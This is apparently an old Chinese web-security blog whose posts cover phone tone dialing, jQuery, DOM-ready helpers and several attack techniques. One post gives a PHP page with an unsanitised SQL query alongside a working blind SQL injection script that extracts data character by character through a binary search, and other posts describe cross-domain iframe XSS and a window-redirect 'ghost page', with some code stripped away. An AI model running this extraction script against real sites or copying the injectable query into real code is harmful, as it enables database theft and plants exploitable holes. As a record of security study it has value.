Jackal's Blog

MS08-067真恐怖

jackal — 2008-10-27 11:01:41

【Zz】模拟拨号

jackal — 2008-10-26 20:32:07

转自CG论坛http://www.cngba.com/thread-17625033-1-1.html

声音模拟拨号点击下载此文件

我们能听到的任何声音，都是由物体振动产生的波。像音叉，小提琴的弦，音响的膜，甚至家里的地板，因为振动而产生波。
决定声音的因素有3个，音高，音量和音色。
音高是由频率决定，单位是赫兹（HZ），表示一秒钟振动了多少次。440HZ就代表一秒钟振动了440次。根据国际标准，电话拿起时嘟的声音就是440HZ，在音乐里面就是A的音。
音量是由振幅决定，振幅越大音量就越大。单位是分贝（Db）。
音色就很复杂了，主要是由波的形状决定的。小提琴和钢琴演奏同一个音高，同样音量的声音，我们也能分辨出来，也是由于小提琴和钢琴发出的波形状不一样。但是在现实中我们很难听到单一振动发出的波，我们听到的99.999999%的声音都是由各种不同频率振幅的波同时发出的。
根据影片的解释，电话的拨号声音组合了高低两种声音，就像这张图所示：

那么按照这张表格，在电话上1的位置应该是693赫兹和1209赫兹，0的位置应该是941赫兹和3336赫兹，就是说我们只要能同时发出693赫兹和1209赫兹的2种声音，那就等同于在电话号码盘上按下了1键。
不过在影片中由两个人凭感觉直接唱出来有点假了，要知道693赫兹和1209赫兹的波在古典音乐里面（12平均律）是介于E和F的音，即使有绝对音高的人要直接唱到多少赫兹有点太不现实了（快成机器人了）。

侦探柯南剧场版第十二部《战栗的乐谱》

拿起电话听筒对准音箱就行了。

音箱声音要足够的大。

Clickjacking？

jackal — 2008-10-8 20:34:18

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

CLICK ME!

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

放个歌给你听，从这里开始正常的链接。

baidu测试Demo
http://hi.baidu.com/delover/blog/item/0939087354b7601a8601b05b.html

Jquery适应滚动

jackal — 2008-10-4 21:02:10

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

Jquery 滚动

function ajax_demo() {
    $("#comment-list-c").slideToggle("slow");
    $.get("demo.htm", function(data){ $("#comment-list-c").html(unescape(data)).slideDown("slow");});
}
$(document).ready(function() {
$('#comment-list-c').slideDown("slow");
$("#demo").click( function() { ajax_demo(); } );
});

content

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------

Here

jackal

Ciker

Demo

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------

content

demo.htm

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

jackal2

Ciker2

PHP二分法注射猜解

jackal — 2008-9-27 15:28:07

b.php

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

$conn = new com("ADODB.Connection");
$connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("data.mdb");

$conn->Open($connstr);
$rs = new com("ADODB.RecordSet");
$sql="select * from news where id=".$_GET[id];
$rs->Open($sql,$conn,1,1);
if(! $rs->eof) {
echo "{ok}";
} else{
echo "{no}";
}
?>

存在注射的。但是没有输出结果，只是判断是否存在。

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

error_reporting(7);
ini_set('max_execution_time', 0);

function send(){
    global $host,$cmd;
    //$cmd .= "";
    $message = "GET /b.php?id=".$cmd." HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Connection: Close\r\n\r\n";

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
    $resp .= fread($fp, 1024);
    preg_match('/\{ok\}/', $resp, $pre);
    if ($pre) return true;
}

function Binsearch($sql){
    global $cmd;
    $low="32";
    $high="128";
    while($low<=$high){
        $mid=intval(($low+$high)/2);
        $cmd= $sql."=".$mid;
        echo "$mid";
        if(send()){echo "Lucky\r\n";return $mid;}
        $cmd= $sql."<".$mid;
        if(send()){
            $high=$mid-1;
            echo "Bigger\r\n";
        }else{
            $low=$mid+1;
            echo "Smaller\r\n";
        }
    }
    return(-1);
}

$host="127.0.0.1:8080";
$sql="15%20and%20asc(left(name,1))";
echo Binsearch($sql);
?>

Cookie当天失效&伪造状态栏

jackal — 2008-9-24 16:42:05

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

if(document.cookie.indexOf('check_xss')==-1){
    var e=new Date();
    e.setDate(e.getDate()+1);
    e.setHours(0,0,0);
    e.setTime(e.getTime());
    document.cookie='check_xss=true;path=/;expires='+e.toGMTString();
    document.write("今天第一次");
}else{
    document.write("今天已经访问过了");
}

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

$check_time = mktime(0, 0, 0, date("m"), date("d")+1, date("Y"));
if (!$_COOKIE[pop_ad]){
setcookie("pop_ad", "true" ,$check_time,"/");
echo "hello";
}
?>

你应该知道什么时候用到吧。。

小看QQ邮箱的跨站了

jackal — 2008-9-13 18:07:24

刚开始以为是没过滤文件名。
看了代码才知道是典型的Dom Xss。
Qmail的页面写的很有意思。很多先隐藏，有了数据再输出。

文本部分处理的很严格，比网易邮箱好很多。

鬼页

jackal — 2008-9-11 18:20:23

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

var frame=document.createElement('div');
frame.innerHTML='';
frame.style.margin = "0";
frame.style.width = "100%";
frame.style.height = "800px";
document.body.appendChild(frame);
x=window.open('about:blank','xxx');
    x.location="http://www.baidu.com"
    setTimeout(function(){
        x.location="http://www.delover.net"
    },3000)

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

IE6 Cross Domain Scripting

XSS跨域

jackal — 2008-9-11 13:35:06

A站如果包含我们可以控制的B站。

比如某些SNS开放Iframe接口。

在A上找到一个非持久性的xss，可以就可以来攻击了。

demo.htm 有弱点的 iframe
xss.htm 非持久的xss
以上为A网站的页面。

proxy.htm 我们可以控制的B网站页面。

因为xss.htm和demo.htm是同域，可以调用xss.htm对demo.htm进行修改。

proxy.htm作为中转，直接修改demo.htm会提示没有权限。

demo.htm

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

function demo(code){
alert("Top xss@"+code);
}

http://delover.net/proxy.htm" style="width:500px;height:500px;">

xss.htm
这里只是作为演示。

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

xss.htm

B网站上的：proxy.htm

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

proxy.htm

//Run Error
//window.parent.demo("proxy.htm");

http://A.com/xss.htm" style="width:300px;height:300px;">

文章资料来源：
Cross Iframe Trick
http://hi.baidu.com/aullik5/blog/item/07d68eb015d72652092302b1.html

Dom Ready

jackal — 2008-9-2 13:51:57

全能型:

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

/*
* (c)2006 Dean Edwards/Matthias Miller/John Resig
* Special thanks to Dan Webb's domready.js Prototype extension
* and Simon Willison's addLoadEvent
*
* For more info, see:
* http://dean.edwards.name/weblog/2006/06/again/
* http://www.vivabit.com/bollocks/2006/06/21/a-dom-ready-extension-for-prototype
* http://simon.incutio.com/archive/2004/05/26/addLoadEvent
*
* Thrown together by Jesse Skinner (http://www.thefutureoftheweb.com/)
*
*
* To use: call addDOMLoadEvent one or more times with functions, ie:
*
*    function something() {
*       // do something
*    }
*    addDOMLoadEvent(something);
*
*    addDOMLoadEvent(function() {
*        // do other stuff
*    });
*
*/

function addDOMLoadEvent(func) {
   if (!window.__load_events) {
      var init = function () {
          // quit if this function has already been called
          if (arguments.callee.done) return;

          // flag this function so we don't do the same thing twice
          arguments.callee.done = true;

          // kill the timer
          if (window.__load_timer) {
              clearInterval(window.__load_timer);
              window.__load_timer = null;
          }

          // execute each function in the stack in the order they were added
          for (var i=0;i < window.__load_events.length;i++) {
              window.__load_events[i]();
          }
          window.__load_events = null;
      };

      // for Mozilla/Opera9
      if (document.addEventListener) {
          document.addEventListener("DOMContentLoaded", init, false);
      }

      // for Internet Explorer
      /*@cc_on @*/
      /*@if (@_win32)
          document.write("<\/scr"+"ipt>");
          var script = document.getElementById("__ie_onload");
          script.onreadystatechange = function() {
              if (this.readyState == "complete") {
                  init(); // call the onload handler
              }
          };
      /*@end @*/

      // for Safari
      if (/WebKit/i.test(navigator.userAgent)) { // sniff
          window.__load_timer = setInterval(function() {
              if (/loaded|complete/.test(document.readyState)) {
                  init(); // call the onload handler
              }
          }, 10);
      }

      // for other browsers
      window.onload = init;

      // create event function stack
      window.__load_events = [];
   }

   // add function to event stack
   window.__load_events.push(func);
}

再一款：

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

/*
*    function something() {
*       // do something
*    }
*    DomLoaded.load(something);
*
*    DomLoaded.load(function() {
*        // do other stuff
*    });
*
*/
var DomLoaded =
{
    onload: [],
    loaded: function()
    {
        if (arguments.callee.done) return;
        arguments.callee.done = true;
        for (i = 0;i < DomLoaded.onload.length;i++) DomLoaded.onload[i]();
    },
    load: function(fireThis)
    {
        this.onload.push(fireThis);
        if (document.addEventListener)
            document.addEventListener("DOMContentLoaded", DomLoaded.loaded, null);
        if (/KHTML|WebKit/i.test(navigator.userAgent))
        {
            var _timer = setInterval(function()
            {
                if (/loaded|complete/.test(document.readyState))
                {
                    clearInterval(_timer);
                    delete _timer;
                    DomLoaded.loaded();
                }
            }, 10);
        }
        /*@cc_on @*/
        /*@if (@_win32)
        var proto = "src='javascript:void(0)'";
        if (location.protocol == "https:") proto = "src=//0";
        document.write("<\/scr"+"ipt>");
        var script = document.getElementById("__ie_onload");
        script.onreadystatechange = function() {
            if (this.readyState == "complete") {
                DomLoaded.loaded();
            }
        };
        /*@end @*/
       window.onload = DomLoaded.loaded;
    }
};

最后：

程序代码：

[ 复制代码到剪贴板 ] [ 运行代码 ]

/*@判断DOM是否载入*/
/*
*    function something() {
*       // do something
*    }
*    domReady(something);
*
*    domReady(function() {
*        // do other stuff
*    });
*
*/
function domReady(f){
    if (domReady.done) return f();
    if (domReady.timer){
        domReady.ready.push( f );
    }else{
        addEvent( window, "load", isDOMReady );
        domReady.ready = [ f ];
        domReady.timer = setInterval( isDOMReady, 13 );
    }
}
function isDOMReady(){
    if (domReady.done) return false;
    if (document &&  document.getElementsByTagName &&  document.getElementById &&  document.body){
    clearInterval(domReady.timer);
    domReady.timer = null;
    for (var i = 0; i < domReady.ready.length; i++)
        domReady.ready[i]();
        domReady.ready = null;
        domReady.done = true;
    }
}
function addEvent(element, type, handler) {
    if (!handler.$$guid) handler.$$guid = addEvent.guid++;
    if (!element.events) element.events = {};
    var handlers = element.events[type];
    if (!handlers) {
        handlers = element.events[type] = {};
        if (element["on" + type]) {
            handlers[0] = element["on" + type];
        }
    }
    handlers[handler.$$guid] = handler;
    element["on" + type] = handleEvent;
};
addEvent.guid = 1;
function removeEvent(element, type, handler) {
    if (element.events && element.events[type]) {
        delete element.events[type][handler.$$guid];
    }
};
function handleEvent(event) {
    var returnValue = true;
    event = event || fixEvent(window.event);
    var handlers = this.events[event.type];
    for (var i in handlers) {
        this.$$handleEvent = handlers[i];
        if (this.$$handleEvent(event) === false) {
            returnValue = false;
        }
    }
    return returnValue;
};
function fixEvent(event) {
    event.preventDefault = fixEvent.preventDefault;
    event.stopPropagation = fixEvent.stopPropagation;
    return event;
};
fixEvent.preventDefault = function(){this.returnValue = false;};
fixEvent.stopPropagation = function(){this.cancelBubble = true;};